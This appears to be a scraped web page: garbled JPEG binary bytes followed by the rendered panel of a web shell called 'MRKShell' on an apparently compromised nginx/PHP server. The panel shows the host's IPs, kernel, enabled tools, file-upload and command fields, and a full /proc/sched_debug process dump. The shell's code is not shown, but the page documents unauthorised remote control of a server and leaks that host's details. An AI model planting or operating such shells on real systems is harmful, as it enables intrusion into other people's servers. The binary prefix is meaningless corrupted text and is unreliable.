JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 104.21.73.244  /  Your IP : 172.71.28.168
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/thread-self/root/proc/sched_debug
Sched Debug Version: v0.11, 4.18.0-348.7.1.el8_5.x86_64 #1
ktime                                   : 573315027.743434
sched_clk                               : 573319257.402416
cpu_clk                                 : 573318797.464372
jiffies                                 : 4867982324
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 10.000000
  .sysctl_sched_wakeup_granularity         : 15.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 8279611
  .sysctl_sched_tunable_scaling            : 1 (logaritmic)

cpu#0, 2494.140 MHz
  .nr_running                    : 1
  .nr_switches                   : 172295560
  .nr_load_updates               : 0
  .nr_uninterruptible            : 83
  .next_balance                  : 4867.982328
  .curr->pid                     : 723749
  .clock                         : 573318797.745601
  .clock_task                    : 566408151.838983
  .avg_idle                      : 910162
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 33644661.653406
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .load_avg                      : 70
  .runnable_avg                  : 70
  .util_avg                      : 53
  .util_est_enqueued             : 53
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 I          rcu_gp     3        13.990489         2   100         0.000000         0.003085         0.000000 0 0 /
 I      rcu_par_gp     4        15.990920         2   100         0.000000         0.001673         0.000000 0 0 /
 I    kworker/0:0H     6       276.264734         6   100         0.000000         0.008640         0.000000 0 0 /
 S     ksoftirqd/0    10  33644648.685462   1022208   120         0.000000     21169.061209         0.000000 0 0 /
 S     migration/0    12         0.000000     20548     0         0.000000       195.563299         0.000000 0 0 /
 S      watchdog/0    13         0.000000    143331     0         0.000000        37.586900         0.000000 0 0 /
 S         cpuhp/0    14      5347.450212        14   120         0.000000         0.128977         0.000000 0 0 /
 S      khungtaskd    28  33630200.397835      4667   120         0.000000       211.392434         0.000000 0 0 /
 S      kcompactd0    31  33639073.855324      1860   120         0.000000       985.390996         0.000000 0 0 /
 S      khugepaged    33  33644583.516179     77046   139         0.000000      6308.637489         0.000000 0 0 /
 I    kworker/0:1H    43  33644582.234164    143338   100         0.000000      3037.337428         0.000000 0 0 /
 S         kswapd0    77  33639139.686977      4961   120         0.000000     15041.904580         0.000000 0 0 /
 I    kmpath_rdacd   181      1586.826583         2   100         0.000000         0.000000         0.000000 0 0 /
 I          kaluad   182      1592.826580         2   100         0.000000         0.000000         0.000000 0 0 /
 I   ipv6_addrconf   185      1611.825734         2   100         0.000000         0.029438         0.000000 0 0 /
 I           kstrp   186      1615.837248         2   100         0.000000         0.012767         0.000000 0 0 /
 I    kworker/u5:0   434      2773.607738         2   100         0.000000         0.007477         0.000000 0 0 /
 I         xprtiod   435      2780.566404         3   100         0.000000         0.011083         0.000000 0 0 /
 I         ata_sff   519      3238.421798         2   100         0.000000         0.008548         0.000000 0 0 /
 I      scsi_tmf_2   534      3261.697108         2   100         0.000000         0.007837         0.000000 0 0 /
 I   xfs_mru_cache   553      3589.174909         2   100         0.000000         0.008948         0.000000 0 0 /
 I    xfs-buf/vda1   554  31821327.331992         6   100         0.000000         0.253016         0.000000 0 0 /
 I xfs-eofblocks/v   558      3616.387169         2   100         0.000000         0.008501         0.000000 0 0 /
 I    xfs-log/vda1   559      3623.807700         2   100         0.000000         0.009242         0.000000 0 0 /
 S systemd-journal   676  33644649.243515    403049   120         0.000000    127196.871238         0.000000 0 0 /
 S          auditd   731  33637252.568965     42487   116         0.000000      1069.647723         0.000000 0 0 /
 S      sedispatch   732  33644591.317909    346721   116         0.000000     16006.155089         0.000000 0 0 /
 S     dbus-daemon   771  33644649.345439   1334023   120         0.000000    282778.638305         0.000000 0 0 /
 S           gmain   780      5245.713203         1   120         0.000000         0.083776         0.000000 0 0 /
 S         polkitd   776  33644198.432979    372922   120         0.000000     25801.187603         0.000000 0 0 /
 S           gdbus   798  33644198.523262    368869   120         0.000000     42247.181971         0.000000 0 0 /
 S       JS Helper   803      5277.469794         2   120         0.000000         0.061015         0.000000 0 0 /
 S         sssd_be   802  33644467.514665    114817   120         0.000000      4100.747178         0.000000 0 0 /
 S            rngd   814     13911.400899      1738   120         0.000000      8604.145177         0.000000 0 0 /
 S  systemd-logind   829  33644368.446378    461851   120         0.000000    140497.041965         0.000000 0 0 /
 S           gdbus   903  33632059.155787     82782   120         0.000000     13558.820891         0.000000 0 0 /
 S           tuned  1075  33644655.019951    573338   120         0.000000     63726.789095         0.000000 0 0 /
 S           tuned  1098  33644649.459159   1579503   120         0.000000    275014.334775         0.000000 0 0 /
 S       memcached   925  33644651.744243    573198   120         0.000000     14995.746617         0.000000 0 0 /
 S       memcached   926  33644563.774613   3656488   120         0.000000    132420.286099         0.000000 0 0 /
 S       memcached   929  33644561.583089   3420578   120         0.000000    121599.915511         0.000000 0 0 /
 S       memcached   941      6245.128019         1   120         0.000000         0.013372         0.000000 0 0 /
 S       memcached   942  33644654.989859   1405308   120         0.000000    525060.182782         0.000000 0 0 /
 S        gssproxy   938      6245.124765         1   120         0.000000         0.010116         0.000000 0 0 /
 S          mysqld  1063      6491.029597         2   120         0.000000         0.060589         0.000000 0 0 /
 S          mysqld  1077  33644653.850763   1145981   120         0.000000     21071.964081         0.000000 0 0 /
 S          mysqld  1082  33644652.651337   1145982   120         0.000000     20057.523775         0.000000 0 0 /
 S          mysqld  1083  33644654.458743   1152210   120         0.000000     19631.509047         0.000000 0 0 /
 S          mysqld  1084  33644654.454410   1148629   120         0.000000     20085.670140         0.000000 0 0 /
 S          mysqld  1087  33644654.464245    802299   120         0.000000     13847.383978         0.000000 0 0 /
 S          mysqld  1107  33644654.469132    573144   120         0.000000     24898.527294         0.000000 0 0 /
 S          mysqld  1109  33644648.707419     57351   120         0.000000      1556.209269         0.000000 0 0 /
 S          mysqld  1110  33644582.265077    114656   120         0.000000      3132.334739         0.000000 0 0 /
 S          mysqld  1112  33644654.478443    592130   120         0.000000     18572.724576         0.000000 0 0 /
 S          mysqld  1114  31459933.391336     49554   120         0.000000       245.741882         0.000000 0 0 /
 S          mysqld  1115  31459933.389174     50352   120         0.000000       299.808472         0.000000 0 0 /
 S          mysqld  1116  31459933.387169     49778   120         0.000000       243.852199         0.000000 0 0 /
 S          mysqld  1121      7014.641764         1   120         0.000000         0.014219         0.000000 0 0 /
 S          mysqld  1128  27005748.831455        85   120         0.000000        53.877629         0.000000 0 0 /
 S          mysqld  1129      7335.660284         8   120         0.000000         1.554578         0.000000 0 0 /
 S          mysqld 615939  33644102.996294     80773   120         0.000000    249002.456820         0.000000 0 0 /
 S          mysqld 616012  33638892.875441     83226   120         0.000000    270340.253358         0.000000 0 0 /
 S          mysqld 616013  33630446.136082     87250   120         0.000000    267626.998298         0.000000 0 0 /
 S          mysqld 616014  33638089.953441     88661   120         0.000000    242131.264460         0.000000 0 0 /
 S          mysqld 616445  33630008.134804     83711   120         0.000000    271849.901955         0.000000 0 0 /
 S          mysqld 616446  33635730.165242     87323   120         0.000000    269294.983023         0.000000 0 0 /
 S          mysqld 616448  33644580.174946     80184   120         0.000000    261840.488725         0.000000 0 0 /
 S          mysqld 616450  33637020.387200     80626   120         0.000000    257039.021101         0.000000 0 0 /
 S          mysqld 616452  33639924.998603     86422   120         0.000000    274630.887638         0.000000 0 0 /
 S          mysqld 616453  33644100.662642     82577   120         0.000000    286314.484525         0.000000 0 0 /
 S          mysqld 616454  33643968.595738     78695   120         0.000000    263580.539747         0.000000 0 0 /
 S          mysqld 616455  33640318.426979     85115   120         0.000000    263673.431224         0.000000 0 0 /
 S          mysqld 616460  33634127.131383     83298   120         0.000000    260376.227957         0.000000 0 0 /
 S          mysqld 633216  33644123.348994     73464   120         0.000000    255129.886451         0.000000 0 0 /
 S          mysqld 633217  33634274.760979     70781   120         0.000000    236984.985894         0.000000 0 0 /
 S          mysqld 633218  33634827.804231     64832   120         0.000000    203140.318677         0.000000 0 0 /
 S          mysqld 633219  33642039.269187     74315   120         0.000000    250522.667165         0.000000 0 0 /
 S          mysqld 633220  33630095.755449     60273   120         0.000000    218808.245324         0.000000 0 0 /
 S          mysqld 667339  33630027.120337     23352   120         0.000000     62118.030739         0.000000 0 0 /
 S          mysqld 667340  33629997.007237     21876   120         0.000000     67364.392034         0.000000 0 0 /
 S          mysqld 667341  33637027.863301     20427   120         0.000000     54811.966974         0.000000 0 0 /
 S          mysqld 723544  33629765.869969      1415   120         0.000000      2243.722635         0.000000 0 0 /
 S          mysqld 723546  33641015.128833      1148   120         0.000000      4685.553088         0.000000 0 0 /
 S          mysqld 723547  33631099.231396      1330   120         0.000000      4929.689258         0.000000 0 0 /
 S          mysqld 723553  33640174.921373      1396   120         0.000000      3014.053031         0.000000 0 0 /
 S          mysqld 723598  33643522.289861      3047   120         0.000000      4967.904935         0.000000 0 0 /
 S          mysqld 723600  33630118.561316      1376   120         0.000000      3653.210673         0.000000 0 0 /
 S          mysqld 723611  33644564.493678      1936   120         0.000000      4140.416406         0.000000 0 0 /
 S          mysqld 723612  33634103.284548      1068   120         0.000000      2185.642199         0.000000 0 0 /
 S          mysqld 723630  33636996.257607      1085   120         0.000000      2790.794469         0.000000 0 0 /
 S          mysqld 723637  33637752.357280      1230   120         0.000000      3078.768371         0.000000 0 0 /
 S          mysqld 723638  33629944.236454      1369   120         0.000000      2989.170045         0.000000 0 0 /
 S          mysqld 723639  33637719.892971      1641   120         0.000000      5831.557735         0.000000 0 0 /
 S          mysqld 723644  33629751.045474      1779   120         0.000000      2740.475389         0.000000 0 0 /
 S          mysqld 723646  33637835.437335      1161   120         0.000000      3155.745438         0.000000 0 0 /
 S          mysqld 723649  33639839.525250      1254   120         0.000000      3374.691693         0.000000 0 0 /
 S          mysqld 723650  33643565.760926      1122   120         0.000000      2438.437772         0.000000 0 0 /
 S          mysqld 723656  33631131.310865      1398   120         0.000000      6121.946530         0.000000 0 0 /
 S          mysqld 723657  33631189.056688      1359   120         0.000000      4317.095196         0.000000 0 0 /
 S          mysqld 723665  33639961.740173      1201   120         0.000000      3009.599763         0.000000 0 0 /
 S          mysqld 723666  33639992.600746      2850   120         0.000000      8612.108047         0.000000 0 0 /
 S          mysqld 723667  33644475.057978      1740   120         0.000000      4126.625208         0.000000 0 0 /
 S          mysqld 723670  33644562.961419      2054   120         0.000000      7455.036864         0.000000 0 0 /
 S          mysqld 723671  33630373.845771       980   120         0.000000      1034.719504         0.000000 0 0 /
 S          mysqld 723672  33643947.659915      1408   120         0.000000      2716.604543         0.000000 0 0 /
 S          mysqld 723684  33639508.397305       950   120         0.000000      1192.461539         0.000000 0 0 /
 S          mysqld 723685  33630308.575844      1212   120         0.000000      3444.739178         0.000000 0 0 /
 S          mysqld 723686  33639566.190632      1763   120         0.000000      5800.133894         0.000000 0 0 /
 S          mysqld 723687  33633661.660962       946   120         0.000000      2770.850473         0.000000 0 0 /
 S          mysqld 723700  33634099.772796      1323   120         0.000000      2212.340209         0.000000 0 0 /
 S          mysqld 723702  33629886.663250      1650   120         0.000000      6111.942556         0.000000 0 0 /
 S          mysqld 723704  33644089.304633      2055   120         0.000000      6014.529699         0.000000 0 0 /
 S          mysqld 723707  33629893.508699       980   120         0.000000      1386.557179         0.000000 0 0 /
 S          mysqld 723709  33630105.248962       977   120         0.000000      1216.232718         0.000000 0 0 /
 S          mysqld 723715  33640242.609439      1381   120         0.000000      2226.484591         0.000000 0 0 /
 S          mysqld 723724  33644467.137317      1523   120         0.000000      4004.707746         0.000000 0 0 /
 S          mysqld 723726  33640279.880943      1603   120         0.000000      5473.406855         0.000000 0 0 /
 S          mysqld 723728  33630485.571547      1129   120         0.000000      1743.802467         0.000000 0 0 /
 S          mysqld 723729  33638668.222756      1445   120         0.000000      4027.877168         0.000000 0 0 /
 S          mysqld 723738  33643659.501667       946   120         0.000000      3143.278797         0.000000 0 0 /
 S          mysqld 723744  33629922.110200      2043   120         0.000000      2795.305814         0.000000 0 0 /
 S          mysqld 723746  33630189.365507      2558   120         0.000000      5557.961536         0.000000 0 0 /
 S          mysqld 723750  33639863.968943      1094   120         0.000000      3445.663103         0.000000 0 0 /
 S          mysqld 723751  33643711.456767      1202   120         0.000000      6491.996830         0.000000 0 0 /
 S          mysqld 723752  33630120.613682      1323   120         0.000000      2450.127361         0.000000 0 0 /
 S          mysqld 723753  33630160.618393      1418   120         0.000000      3810.470548         0.000000 0 0 /
 S          mysqld 723760  33640794.192769      1661   120         0.000000      2359.597546         0.000000 0 0 /
 S          mysqld 723761  33630380.108977      2037   120         0.000000      4299.830327         0.000000 0 0 /
 S          mysqld 723765  33634036.535419      1486   120         0.000000      3583.084319         0.000000 0 0 /
 S          mysqld 723772  33631126.553583      1232   120         0.000000      4833.417775         0.000000 0 0 /
 S          mysqld 723774  33630328.667512      1381   120         0.000000      5330.309223         0.000000 0 0 /
 S          mysqld 723776  33630100.580489       947   120         0.000000      2085.381399         0.000000 0 0 /
 S          mysqld 723777  33637002.276314      1155   120         0.000000      2782.010281         0.000000 0 0 /
 S          mysqld 723778  33641460.174249      1674   120         0.000000      4048.646209         0.000000 0 0 /
 S          mysqld 723779  33636931.830245      1193   120         0.000000      1991.301972         0.000000 0 0 /
 S          mysqld 723801  33640699.896336      1879   120         0.000000      3853.916160         0.000000 0 0 /
 S          mysqld 723802  33637012.005940      1026   120         0.000000      2634.018890         0.000000 0 0 /
 S          mysqld 723803  33640282.876351       884   120         0.000000      1376.751979         0.000000 0 0 /
 S          mysqld 723805  33640656.846787      1115   120         0.000000      3308.772621         0.000000 0 0 /
 S   systemd-udevd  1198  33630609.040201      4804   120         0.000000      2072.341296         0.000000 0 0 /
 S        do-agent  1233  33644408.769209     17364   120         0.000000      4987.813769         0.000000 0 0 /
 S        do-agent  1248  33644414.207791     59647   120         0.000000     17328.354075         0.000000 0 0 /
 S        do-agent 191162  32180029.357747     42871   120         0.000000     12368.742015         0.000000 0 0 /
 S        do-agent 194175  33644408.881057     42137   120         0.000000     12627.631909         0.000000 0 0 /
 S           crond  1238  33632058.737536     91680   120         0.000000     16345.895368         0.000000 0 0 /
 S         systemd  5435  33632058.841765     81214   120         0.000000      5733.189537         0.000000 0 0 /
 S       gpg-agent  5496  33644582.271512    152689   120         0.000000      6772.736763         0.000000 0 0 /
 S       gpg-agent  5530  33644582.267920    152689   120         0.000000      6650.022945         0.000000 0 0 /
 S         php-fpm 723747  33644655.707149     38186   120         0.000000     15967.772201         0.000000 0 0 /
 S         php-fpm 723748  33644650.815698     35231   120         0.000000     15757.636169         0.000000 0 0 /
>R         php-fpm 723749  33644657.912377     63959   120         0.000000     16832.837617         0.000000 0 0 /
 S         php-fpm 723755  33644585.498202     36965   120         0.000000     15417.330418         0.000000 0 0 /
 S         php-fpm 723756  33644654.118813     77310   120         0.000000     17947.226709         0.000000 0 0 /
 S         php-fpm 723758  33644654.108285     34762   120         0.000000     15350.077763         0.000000 0 0 /
 S         php-fpm 723762  33644655.109750     37769   120         0.000000     15749.962360         0.000000 0 0 /
 S         php-fpm 723764  33644651.090300     33924   120         0.000000     15873.029429         0.000000 0 0 /
 S         php-fpm 723766  33644651.575939     36022   120         0.000000     15431.137345         0.000000 0 0 /
 S         php-fpm 723767  33644584.895144     33229   120         0.000000     14692.917707         0.000000 0 0 /
 S         php-fpm 723768  33644650.543838     36133   120         0.000000     16355.379971         0.000000 0 0 /
 S         php-fpm 723782  33644657.377142     35910   120         0.000000     15279.052846         0.000000 0 0 /
 S         php-fpm 723787  33644650.560108     33630   120         0.000000     15025.463398         0.000000 0 0 /
 S         php-fpm 723788  33644650.703850     37992   120         0.000000     15678.042001         0.000000 0 0 /
 S         php-fpm 723796  33644651.009783     36442   120         0.000000     15929.739984         0.000000 0 0 /
 S         php-fpm 723797  33644651.182485     34698   120         0.000000     15149.851500         0.000000 0 0 /
 S         php-fpm 723806  33644585.718818     35654   120         0.000000     16109.984605         0.000000 0 0 /
 S         php-fpm 723808  33644650.493043     35269   120         0.000000     15620.375941         0.000000 0 0 /
 S         php-fpm 723809  33644651.693823     75129   120         0.000000     17252.799103         0.000000 0 0 /
 S         php-fpm 723810  33644654.199022     34780   120         0.000000     15665.859655         0.000000 0 0 /
 S         php-fpm 723811  33644653.600624     37855   120         0.000000     15704.170750         0.000000 0 0 /
 S         php-fpm 723812  33644650.892995     73394   120         0.000000     18035.132442         0.000000 0 0 /
 I     kworker/0:0 734343  33632042.779331     44811   120         0.000000       331.107479         0.000000 0 0 /
 I     kworker/0:1 736230  33632080.455685      9849   120         0.000000        72.842983         0.000000 0 0 /
 I     kworker/0:2 741131  33644655.673932      4934   120         0.000000        37.673820         0.000000 0 0 /
 S setroubleshootd 741170  33644597.372942      3084   120         0.000000      3378.911821         0.000000 0 0 /
 S           gmain 741251  33632158.809718         3   120         0.000000         0.104980         0.000000 0 0 /
 S           gdbus 741252  33644649.089382       460   120         0.000000        44.102329         0.000000 0 0 /
 I     kworker/0:3 741241  33632058.588486         4   120         0.000000         0.056312         0.000000 0 0 /
 S SetroubleshootP 741254  33644653.585501       487   120         0.000000      1877.157621         0.000000 0 0 /

cpu#1, 2494.140 MHz
  .nr_running                    : 0
  .nr_switches                   : 161213476
  .nr_load_updates               : 0
  .nr_uninterruptible            : -83
  .next_balance                  : 4867.982327
  .curr->pid                     : 0
  .clock                         : 573318797.880638
  .clock_task                    : 565640795.386523
  .avg_idle                      : 3679264
  .max_idle_balance_cost         : 1839632

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 34870276.316082
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 1225614.662676
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .load_avg                      : 15
  .runnable_avg                  : 15
  .util_avg                      : 8
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_avg          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:/
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.000000
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S            task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-------------------------------------------------------------------------------------------------------------
 S         systemd     1  34869800.745971    680892   120         0.000000    253200.088191         0.000000 0 0 /
 S        kthreadd     2  34861561.757803      4244   120         0.000000       156.257337         0.000000 0 0 /
 I    mm_percpu_wq     9  27315726.798389        28   100         0.000000         0.243323         0.000000 0 0 /
 I       rcu_sched    11  34870270.203471  31870550   120         0.000000    551930.264520         0.000000 0 0 /
 S         cpuhp/1    15      4108.577466        13   120         0.000000         1.219106         0.000000 0 0 /
 S      watchdog/1    16        -2.993579    143331     0         0.000000       707.125176         0.000000 0 0 /
 S     migration/1    17         0.000000     18900     0         0.000000       221.757059         0.000000 0 0 /
 S     ksoftirqd/1    18  34870270.170318    676270   120         0.000000     19121.067839         0.000000 0 0 /
 I    kworker/1:0H    20       453.533808         8   100         0.000000         0.060281         0.000000 0 0 /
 S       kdevtmpfs    23      4408.578016       120   120         0.000000         2.214070         0.000000 0 0 /
 I           netns    24        36.789439         2   100         0.000000         0.006384         0.000000 0 0 /
 S rcu_tasks_trace    25        40.789438         2   120         0.000000         0.000000         0.000000 0 0 /
 S rcu_tasks_rude_    26        40.792153         2   120         0.000000         0.002715         0.000000 0 0 /
 S         kauditd    27  34869838.054979    317844   120         0.000000      5879.828074         0.000000 0 0 /
 S      oom_reaper    29        53.944711         2   120         0.000000         0.000000         0.000000 0 0 /
 I       writeback    30        53.944711         2   100         0.000000         0.000000         0.000000 0 0 /
 S            ksmd    32        53.948783         2   125         0.000000         0.004072         0.000000 0 0 /
 I          crypto    34        61.951690         2   100         0.000000         0.000000         0.000000 0 0 /
 I     kintegrityd    35        61.954674         2   100         0.000000         0.002984         0.000000 0 0 /
 I         kblockd    36        65.954673         2   100         0.000000         0.000000         0.000000 0 0 /
 I  blkcg_punt_bio    37        65.954673         2   100         0.000000         0.000000         0.000000 0 0 /
 I      tpm_dev_wq    38        65.963806         2   100         0.000000         0.009133         0.000000 0 0 /
 I              md    39        69.969102         2   100         0.000000         0.005297         0.000000 0 0 /
 I     edac-poller    40        73.973456         2   100         0.000000         0.004355         0.000000 0 0 /
 S       watchdogd    41         0.000000         2     0         0.000000         0.005873         0.000000 0 0 /
 I        kthrotld   179       445.135534         2   100         0.000000         0.002759         0.000000 0 0 /
 I acpi_thermal_pm   180       445.135536         2   100         0.000000         0.014447         0.000000 0 0 /
 I    kworker/1:1H   184  34869823.934905    232189   100         0.000000      3516.081475         0.000000 0 0 /
 I          rpciod   433      1997.463977         2   100         0.000000         0.012798         0.000000 0 0 /
 S       scsi_eh_0   509      2410.778126         2   120         0.000000         0.014992         0.000000 0 0 /
 I      scsi_tmf_0   510      2412.724692         2   100         0.000000         0.013751         0.000000 0 0 /
 S       scsi_eh_1   527      2584.421709         4   120         0.000000         0.522386         0.000000 0 0 /
 I      scsi_tmf_1   529      2501.769225         2   100         0.000000         0.007930         0.000000 0 0 /
